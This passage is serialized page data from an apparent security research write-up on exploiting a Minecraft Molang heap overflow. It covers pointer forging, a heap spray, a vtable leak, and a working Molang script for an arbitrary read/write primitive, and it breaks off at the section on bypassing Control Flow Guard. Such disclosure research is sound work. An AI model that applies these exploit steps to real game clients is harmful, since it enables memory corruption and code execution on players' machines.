variable.a;\n",[153186],{"type":23,"tag":56,"props":153187,"children":153188},{"__ignoreMap":7},[153189],{"type":28,"value":153184},{"type":23,"tag":24,"props":153191,"children":153192},{},[153193],{"type":28,"value":153194},"At this point, we have:",{"type":23,"tag":494,"props":153196,"children":153198},{"code":153197},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[153199],{"type":23,"tag":56,"props":153200,"children":153201},{"__ignoreMap":7},[153202],{"type":28,"value":153197},{"type":23,"tag":24,"props":153204,"children":153205},{},[153206],{"type":28,"value":153207},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":153209,"children":153210},{},[153211],{"type":28,"value":153212},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":494,"props":153214,"children":153216},{"code":153215},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[153217],{"type":23,"tag":56,"props":153218,"children":153219},{"__ignoreMap":7},[153220],{"type":28,"value":153215},{"type":23,"tag":24,"props":153222,"children":153223},{},[153224],{"type":28,"value":153225},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":494,"props":153227,"children":153229},{"code":153228},"variable.a = variable.saved_adjusted_middle_16;\n",[153230],{"type":23,"tag":56,"props":153231,"children":153232},{"__ignoreMap":7},[153233],{"type":28,"value":153228},{"type":23,"tag":24,"props":153235,"children":153236},{},[153237,153239,153244,153245,153251,153252,153258],{"type":28,"value":153238},"Setting ",{"type":23,"tag":56,"props":153240,"children":153242},{"className":153241},[],[153243],{"type":28,"value":152105},{"type":28,"value":55755},{"type":23,"tag":56,"props":153246,"children":153248},{"className":153247},[],[153249],{"type":28,"value":153250},"0xddcd",{"type":28,"value":801},{"type":23,"tag":56,"props":153253,"children":153255},{"className":153254},[],[153256],{"type":28,"value":153257},"0xddcc + 1",{"type":28,"value":153259},"), and then:",{"type":23,"tag":494,"props":153261,"children":153263},{"code":153262},"variable.b = variable.saved_adjusted_upper_16;\n",[153264],{"type":23,"tag":56,"props":153265,"children":153266},{"__ignoreMap":7},[153267],{"type":28,"value":153262},{"type":23,"tag":24,"props":153269,"children":153270},{},[153271,153273,153278,153280,153286,153287,153293],{"type":28,"value":153272},"Resulting in ",{"type":23,"tag":56,"props":153274,"children":153276},{"className":153275},[],[153277],{"type":28,"value":152119},{"type":28,"value":153279}," value becoming ",{"type":23,"tag":56,"props":153281,"children":153283},{"className":153282},[],[153284],{"type":28,"value":153285},"0x1c81",{"type":28,"value":801},{"type":23,"tag":56,"props":153288,"children":153290},{"className":153289},[],[153291],{"type":28,"value":153292},"0x1c80 + 1",{"type":28,"value":22925},{"type":23,"tag":494,"props":153295,"children":153297},{"code":153296},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[153298],{"type":23,"tag":56,"props":153299,"children":153300},{"__ignoreMap":7},[153301],{"type":28,"value":153296},{"type":23,"tag":24,"props":153303,"children":153304},{},[153305],{"type":28,"value":153306},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":494,"props":153308,"children":153310},{"code":153309},"variable.saved_adjusted_upper_48 = variable.a;\n",[153311],{"type":23,"tag":56,"props":153312,"children":153313},{"__ignoreMap":7},[153314],{"type":28,"value":153309},{"type":23,"tag":24,"props":153316,"children":153317},{},[153318],{"type":28,"value":153319},"Finally, we attach the lower 16 bits:",{"type":23,"tag":494,"props":153321,"children":153323},{"code":153322},"variable.a = variable.saved_adjusted_lower_16;\n",[153324],{"type":23,"tag":56,"props":153325,"children":153326},{"__ignoreMap":7},[153327],{"type":28,"value":153322},{"type":23,"tag":494,"props":153329,"children":153331},{"code":153330},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[153332],{"type":23,"tag":56,"props":153333,"children":153334},{"__ignoreMap":7},[153335],{"type":28,"value":153330},{"type":23,"tag":24,"props":153337,"children":153338},{},[153339],{"type":28,"value":153340},"And by setting:",{"type":23,"tag":494,"props":153342,"children":153344},{"code":153343},"variable.b = variable.saved_adjusted_upper_48;\n",[153345],{"type":23,"tag":56,"props":153346,"children":153347},{"__ignoreMap":7},[153348],{"type":28,"value":153343},{"type":23,"tag":24,"props":153350,"children":153351},{},[153352],{"type":28,"value":153353},"We forge the final adjusted pointer:",{"type":23,"tag":494,"props":153355,"children":153357},{"code":153356},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[153358],{"type":23,"tag":56,"props":153359,"children":153360},{"__ignoreMap":7},[153361],{"type":28,"value":153356},{"type":23,"tag":17774,"props":153363,"children":153364},{},[],{"type":23,"tag":24,"props":153366,"children":153367},{},[153368,153370,153375],{"type":28,"value":153369},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":56,"props":153371,"children":153373},{"className":153372},[],[153374],{"type":28,"value":152901},{"type":28,"value":152857},{"type":23,"tag":24,"props":153377,"children":153378},{},[153379,153381,153386,153388,153393,153395,153401,153403,153408],{"type":28,"value":153380},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":56,"props":153382,"children":153384},{"className":153383},[],[153385],{"type":28,"value":152901},{"type":28,"value":153387},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":56,"props":153389,"children":153391},{"className":153390},[],[153392],{"type":28,"value":29669},{"type":28,"value":153394}," and the other to ",{"type":23,"tag":56,"props":153396,"children":153398},{"className":153397},[],[153399],{"type":28,"value":153400},"addr + 2",{"type":28,"value":153402}," (as long as ",{"type":23,"tag":56,"props":153404,"children":153406},{"className":153405},[],[153407],{"type":28,"value":29669},{"type":28,"value":153409}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":153411,"children":153412},{},[153413,153415,153420,153421,153426],{"type":28,"value":153414},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":56,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":28,"value":148875},{"type":28,"value":152660},{"type":23,"tag":56,"props":153422,"children":153424},{"className":153423},[],[153425],{"type":28,"value":151679},{"type":28,"value":153427}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":494,"props":153429,"children":153431},{"code":153430},"variable.corrupted_var_map_ptr = variable.a;\n",[153432],{"type":23,"tag":56,"props":153433,"children":153434},{"__ignoreMap":7},[153435],{"type":28,"value":153430},{"type":23,"tag":24,"props":153437,"children":153438},{},[153439,153441,153446,153448,153454],{"type":28,"value":153440},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":56,"props":153442,"children":153444},{"className":153443},[],[153445],{"type":28,"value":38128},{"type":28,"value":153447}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":56,"props":153449,"children":153451},{"className":153450},[],[153452],{"type":28,"value":153453},"variable.corrupted_var_map_ptr",{"type":28,"value":153455},", even though the type itself is only a 32-bit float.",{"type":23,"tag":17874,"props":153457,"children":153459},{"id":153458},"finding-misaligned-pointers",[153460],{"type":28,"value":153461},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":153463,"children":153464},{},[153465,153467,153472,153473,153479],{"type":28,"value":153466},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":56,"props":153468,"children":153470},{"className":153469},[],[153471],{"type":28,"value":12930},{"type":28,"value":430},{"type":23,"tag":56,"props":153474,"children":153476},{"className":153475},[],[153477],{"type":28,"value":153478},"ptr + 2",{"type":28,"value":153480},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":153482,"children":153483},{},[153484,153489,153490,153495,153497,153502,153504,153509,153511,153516,153518,153523,153525,153531,153532,153537],{"type":23,"tag":56,"props":153485,"children":153487},{"className":153486},[],[153488],{"type":28,"value":151855},{"type":28,"value":14424},{"type":23,"tag":56,"props":153491,"children":153493},{"className":153492},[],[153494],{"type":28,"value":151878},{"type":28,"value":153496}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":56,"props":153498,"children":153500},{"className":153499},[],[153501],{"type":28,"value":151709},{"type":28,"value":153503}," contains three pointers: ",{"type":23,"tag":56,"props":153505,"children":153507},{"className":153506},[],[153508],{"type":28,"value":148875},{"type":28,"value":153510}," (the start of the allocated buffer), ",{"type":23,"tag":56,"props":153512,"children":153514},{"className":153513},[],[153515],{"type":28,"value":8121},{"type":28,"value":153517}," (just past the last element) and ",{"type":23,"tag":56,"props":153519,"children":153521},{"className":153520},[],[153522],{"type":28,"value":151808},{"type":28,"value":153524}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":56,"props":153526,"children":153528},{"className":153527},[],[153529],{"type":28,"value":153530},"uint16_t",{"type":28,"value":101048},{"type":23,"tag":56,"props":153533,"children":153535},{"className":153534},[],[153536],{"type":28,"value":8121},{"type":28,"value":153538}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":153540,"children":153541},{},[153542,153544,153549,153551,153557],{"type":28,"value":153543},"We can make the ",{"type":23,"tag":56,"props":153545,"children":153547},{"className":153546},[],[153548],{"type":28,"value":8121},{"type":28,"value":153550}," pointer equal to ",{"type":23,"tag":56,"props":153552,"children":153554},{"className":153553},[],[153555],{"type":28,"value":153556},"cap - 2",{"type":28,"value":153558}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":494,"props":153560,"children":153562},{"code":153561},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[153563],{"type":23,"tag":56,"props":153564,"children":153565},{"__ignoreMap":7},[153566],{"type":28,"value":153561},{"type":23,"tag":17774,"props":153568,"children":153569},{},[],{"type":23,"tag":24,"props":153571,"children":153572},{},[153573,153575,153580,153582,153587,153589,153594,153596,153601,153602,153607],{"type":28,"value":153574},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":56,"props":153576,"children":153578},{"className":153577},[],[153579],{"type":28,"value":148875},{"type":28,"value":153581}," pointer of ",{"type":23,"tag":56,"props":153583,"children":153585},{"className":153584},[],[153586],{"type":28,"value":151679},{"type":28,"value":153588}," in the entity object above, one that would index ",{"type":23,"tag":56,"props":153590,"children":153592},{"className":153591},[],[153593],{"type":28,"value":8121},{"type":28,"value":153595}," and the final ",{"type":23,"tag":56,"props":153597,"children":153599},{"className":153598},[],[153600],{"type":28,"value":151808},{"type":28,"value":153581},{"type":23,"tag":56,"props":153603,"children":153605},{"className":153604},[],[153606],{"type":28,"value":151855},{"type":28,"value":153608}," also in the same entity object above.",{"type":23,"tag":24,"props":153610,"children":153611},{},[153612,153614,153620,153621,153627,153629,153634,153635,153640,153642,153647,153649,153654,153655,153660,153662,153667],{"type":28,"value":153613},"The corrupted variables ",{"type":23,"tag":56,"props":153615,"children":153617},{"className":153616},[],[153618],{"type":28,"value":153619},"variable.corrupted_len_ptr",{"type":28,"value":430},{"type":23,"tag":56,"props":153622,"children":153624},{"className":153623},[],[153625],{"type":28,"value":153626},"variable.corrupted_cap_ptr",{"type":28,"value":153628}," point to ",{"type":23,"tag":56,"props":153630,"children":153632},{"className":153631},[],[153633],{"type":28,"value":8121},{"type":28,"value":430},{"type":23,"tag":56,"props":153636,"children":153638},{"className":153637},[],[153639],{"type":28,"value":151808},{"type":28,"value":153641},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":56,"props":153643,"children":153645},{"className":153644},[],[153646],{"type":28,"value":153453},{"type":28,"value":153648},", points to the ",{"type":23,"tag":56,"props":153650,"children":153652},{"className":153651},[],[153653],{"type":28,"value":148875},{"type":28,"value":152660},{"type":23,"tag":56,"props":153656,"children":153658},{"className":153657},[],[153659],{"type":28,"value":151679},{"type":28,"value":153661},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":56,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":28,"value":151679},{"type":28,"value":153668},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":153670,"children":153671},{},[153672],{"type":28,"value":153673},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":17874,"props":153675,"children":153677},{"id":153676},"leaking-pointers",[153678],{"type":28,"value":153679},"Leaking Pointers",{"type":23,"tag":24,"props":153681,"children":153682},{},[153683,153685,153691],{"type":28,"value":153684},"In C++, an object’s first field is typically a ",{"type":23,"tag":56,"props":153686,"children":153688},{"className":153687},[],[153689],{"type":28,"value":153690},"vtable",{"type":28,"value":153692}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":494,"props":153694,"children":153696},{"code":153695},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[153697],{"type":23,"tag":56,"props":153698,"children":153699},{"__ignoreMap":7},[153700],{"type":28,"value":153695},{"type":23,"tag":24,"props":153702,"children":153703},{},[153704,153705,153710,153712,153717,153719,153724,153726,153731,153733,153738,153739,153744,153746,153751],{"type":28,"value":15592},{"type":23,"tag":56,"props":153706,"children":153708},{"className":153707},[],[153709],{"type":28,"value":38128},{"type":28,"value":153711}," field inside a ",{"type":23,"tag":56,"props":153713,"children":153715},{"className":153714},[],[153716],{"type":28,"value":151352},{"type":28,"value":153718}," is at offset ",{"type":23,"tag":56,"props":153720,"children":153722},{"className":153721},[],[153723],{"type":28,"value":151613},{"type":28,"value":153725},". We already control a corrupted variable, ",{"type":23,"tag":56,"props":153727,"children":153729},{"className":153728},[],[153730],{"type":28,"value":153619},{"type":28,"value":153732},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":56,"props":153734,"children":153736},{"className":153735},[],[153737],{"type":28,"value":8121},{"type":28,"value":152660},{"type":23,"tag":56,"props":153740,"children":153742},{"className":153741},[],[153743],{"type":28,"value":151855},{"type":28,"value":153745}," by 2 bytes, which in turn advances ",{"type":23,"tag":56,"props":153747,"children":153749},{"className":153748},[],[153750],{"type":28,"value":153619},{"type":28,"value":153752}," by 2 bytes.",{"type":23,"tag":24,"props":153754,"children":153755},{},[153756,153758,153763,153765,153771,153772,153777,153778,153783,153785,153790],{"type":28,"value":153757},"By moving ",{"type":23,"tag":56,"props":153759,"children":153761},{"className":153760},[],[153762],{"type":28,"value":8121},{"type":28,"value":153764}," so it equals ",{"type":23,"tag":56,"props":153766,"children":153768},{"className":153767},[],[153769],{"type":28,"value":153770},"cap - 0x38",{"type":28,"value":101048},{"type":23,"tag":56,"props":153773,"children":153775},{"className":153774},[],[153776],{"type":28,"value":38128},{"type":28,"value":152660},{"type":23,"tag":56,"props":153779,"children":153781},{"className":153780},[],[153782],{"type":28,"value":153619},{"type":28,"value":153784}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":56,"props":153786,"children":153788},{"className":153787},[],[153789],{"type":28,"value":153690},{"type":28,"value":153791}," pointer. We can then capture that pointer with:",{"type":23,"tag":494,"props":153793,"children":153795},{"code":153794},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[153796],{"type":23,"tag":56,"props":153797,"children":153798},{"__ignoreMap":7},[153799],{"type":28,"value":153794},{"type":23,"tag":24,"props":153801,"children":153802},{},[153803,153805,153810,153812,153817,153819,153824,153826,153832],{"type":28,"value":153804},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":56,"props":153806,"children":153808},{"className":153807},[],[153809],{"type":28,"value":8121},{"type":28,"value":153811}," until it equals ",{"type":23,"tag":56,"props":153813,"children":153815},{"className":153814},[],[153816],{"type":28,"value":153556},{"type":28,"value":153818},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":56,"props":153820,"children":153822},{"className":153821},[],[153823],{"type":28,"value":153690},{"type":28,"value":153825}," address in ",{"type":23,"tag":56,"props":153827,"children":153829},{"className":153828},[],[153830],{"type":28,"value":153831},"variable.saved_vtable_pointer",{"type":28,"value":320},{"type":23,"tag":17774,"props":153834,"children":153835},{},[],{"type":23,"tag":24,"props":153837,"children":153838},{},[153839,153841,153846,153848,153854],{"type":28,"value":153840},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":56,"props":153842,"children":153844},{"className":153843},[],[153845],{"type":28,"value":42478},{"type":28,"value":153847}," to the address ",{"type":23,"tag":56,"props":153849,"children":153851},{"className":153850},[],[153852],{"type":28,"value":153853},"vtable + 0x1000",{"type":28,"value":153855}," looks like this:",{"type":23,"tag":494,"props":153857,"children":153859},{"code":153858},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[153860],{"type":23,"tag":56,"props":153861,"children":153862},{"__ignoreMap":7},[153863],{"type":28,"value":153858},{"type":23,"tag":17874,"props":153865,"children":153867},{"id":153866},"required-heap-layout",[153868],{"type":28,"value":153869},"Required Heap Layout",{"type":23,"tag":24,"props":153871,"children":153872},{},[153873],{"type":28,"value":153874},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":494,"props":153876,"children":153878},{"code":153877},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[153879],{"type":23,"tag":56,"props":153880,"children":153881},{"__ignoreMap":7},[153882],{"type":28,"value":153877},{"type":23,"tag":24,"props":153884,"children":153885},{},[153886,153888,153894,153896,153901,153903,153908,153910,153915,153916,153921],{"type":28,"value":153887},"The first region (",{"type":23,"tag":56,"props":153889,"children":153891},{"className":153890},[],[153892],{"type":28,"value":153893},"Heap Region 1",{"type":28,"value":153895},") contains alternating ",{"type":23,"tag":56,"props":153897,"children":153899},{"className":153898},[],[153900],{"type":28,"value":151679},{"type":28,"value":153902},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":56,"props":153904,"children":153906},{"className":153905},[],[153907],{"type":28,"value":151709},{"type":28,"value":153909}," pointers of ",{"type":23,"tag":56,"props":153911,"children":153913},{"className":153912},[],[153914],{"type":28,"value":151679},{"type":28,"value":430},{"type":23,"tag":56,"props":153917,"children":153919},{"className":153918},[],[153920],{"type":28,"value":151855},{"type":28,"value":153922}," from the entity object for our main attack.",{"type":23,"tag":24,"props":153924,"children":153925},{},[153926,153928,153934,153936,153941,153943,153948,153950,153955,153957,153962],{"type":28,"value":153927},"The second region (",{"type":23,"tag":56,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":28,"value":153933},"Heap Region 2",{"type":28,"value":153935},") contains interleaved ",{"type":23,"tag":56,"props":153937,"children":153939},{"className":153938},[],[153940],{"type":28,"value":151855},{"type":28,"value":153942},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":56,"props":153944,"children":153946},{"className":153945},[],[153947],{"type":28,"value":153690},{"type":28,"value":153949}," pointer into ",{"type":23,"tag":56,"props":153951,"children":153953},{"className":153952},[],[153954],{"type":28,"value":153619},{"type":28,"value":153956}," during our main attack. It could be any object with a ",{"type":23,"tag":56,"props":153958,"children":153960},{"className":153959},[],[153961],{"type":28,"value":153690},{"type":28,"value":153963},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":153965,"children":153966},{},[153967,153969,153975,153977,153982],{"type":28,"value":153968},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":56,"props":153970,"children":153972},{"className":153971},[],[153973],{"type":28,"value":153974},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":153976}," will very likely clobber the ",{"type":23,"tag":56,"props":153978,"children":153980},{"className":153979},[],[153981],{"type":28,"value":152175},{"type":28,"value":153983}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":153985,"children":153986},{},[153987],{"type":28,"value":153988},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":153990,"children":153991},{},[153992],{"type":28,"value":153993},"The final exploit proceeds in three stages:",{"type":23,"tag":41,"props":153995,"children":153996},{},[153997,154002,154007],{"type":23,"tag":45,"props":153998,"children":153999},{},[154000],{"type":28,"value":154001},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":45,"props":154003,"children":154004},{},[154005],{"type":28,"value":154006},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":45,"props":154008,"children":154009},{},[154010],{"type":28,"value":154011},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":17874,"props":154013,"children":154015},{"id":154014},"initial-corruption-variant-lfh-heap-approach",[154016],{"type":28,"value":154017},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":154019,"children":154020},{},[154021],{"type":28,"value":154022},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":154024,"children":154025},{},[154026,154028,154033,154034,154040],{"type":28,"value":154027},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":56,"props":154029,"children":154031},{"className":154030},[],[154032],{"type":28,"value":151922},{"type":28,"value":5471},{"type":23,"tag":56,"props":154035,"children":154037},{"className":154036},[],[154038],{"type":28,"value":154039},"last_index",{"type":28,"value":154041}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":154043,"children":154044},{},[154045,154047,154052,154053,154058,154060,154065,154067,154072,154074,154079,154081,154087,154088,154094,154095,154101],{"type":28,"value":154046},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":56,"props":154048,"children":154050},{"className":154049},[],[154051],{"type":28,"value":148875},{"type":28,"value":152660},{"type":23,"tag":56,"props":154054,"children":154056},{"className":154055},[],[154057],{"type":28,"value":151855},{"type":28,"value":154059},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":56,"props":154061,"children":154063},{"className":154062},[],[154064],{"type":28,"value":151613},{"type":28,"value":154066}," within the ",{"type":23,"tag":56,"props":154068,"children":154070},{"className":154069},[],[154071],{"type":28,"value":151855},{"type":28,"value":154073}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":56,"props":154075,"children":154077},{"className":154076},[],[154078],{"type":28,"value":54613},{"type":28,"value":154080}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":56,"props":154082,"children":154084},{"className":154083},[],[154085],{"type":28,"value":154086},"0xfb",{"type":28,"value":576},{"type":23,"tag":56,"props":154089,"children":154091},{"className":154090},[],[154092],{"type":28,"value":154093},"0xfc",{"type":28,"value":430},{"type":23,"tag":56,"props":154096,"children":154098},{"className":154097},[],[154099],{"type":28,"value":154100},"0xfd",{"type":28,"value":154102}," the script would do:",{"type":23,"tag":494,"props":154104,"children":154106},{"code":154105},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[154107],{"type":23,"tag":56,"props":154108,"children":154109},{"__ignoreMap":7},[154110],{"type":28,"value":154105},{"type":23,"tag":24,"props":154112,"children":154113},{},[154114,154116,154121,154122,154128,154130,154135],{"type":28,"value":154115},"That line would write the ",{"type":23,"tag":56,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":28,"value":54613},{"type":28,"value":90924},{"type":23,"tag":56,"props":154123,"children":154125},{"className":154124},[],[154126],{"type":28,"value":154127},"0x302700fb00fc00fd",{"type":28,"value":154129}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":56,"props":154131,"children":154133},{"className":154132},[],[154134],{"type":28,"value":151855},{"type":28,"value":154136}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":82,"props":154138,"children":154140},{"id":154139},"hijacking-execution",[154141],{"type":28,"value":154142},"Hijacking Execution",{"type":23,"tag":24,"props":154144,"children":154145},{},[154146,154148,154153,154155,154161],{"type":28,"value":154147},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":56,"props":154149,"children":154151},{"className":154150},[],[154152],{"type":28,"value":153690},{"type":28,"value":154154}," and function pointers in the writable ",{"type":23,"tag":56,"props":154156,"children":154158},{"className":154157},[],[154159],{"type":28,"value":154160},".data",{"type":28,"value":154162}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":154164,"children":154165},{},[154166],{"type":28,"value":154167},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":154169,"children":154170},{},[154171],{"type":28,"value":154172},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":154174,"children":154175},{},[154176],{"type":23,"tag":126,"props":154177,"children":154179},{"alt":128,"src":154178},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":154181,"children":154182},{},[154183,154185,154191,154193,154199,154201,154206,154208,154213,154215,154221,154223,154228,154230,154236,154238,154243],{"type":28,"value":154184},"This snippet calls a method on an object: ",{"type":23,"tag":56,"props":154186,"children":154188},{"className":154187},[],[154189],{"type":28,"value":154190},"rcx",{"type":28,"value":154192}," holds the object pointer, the first 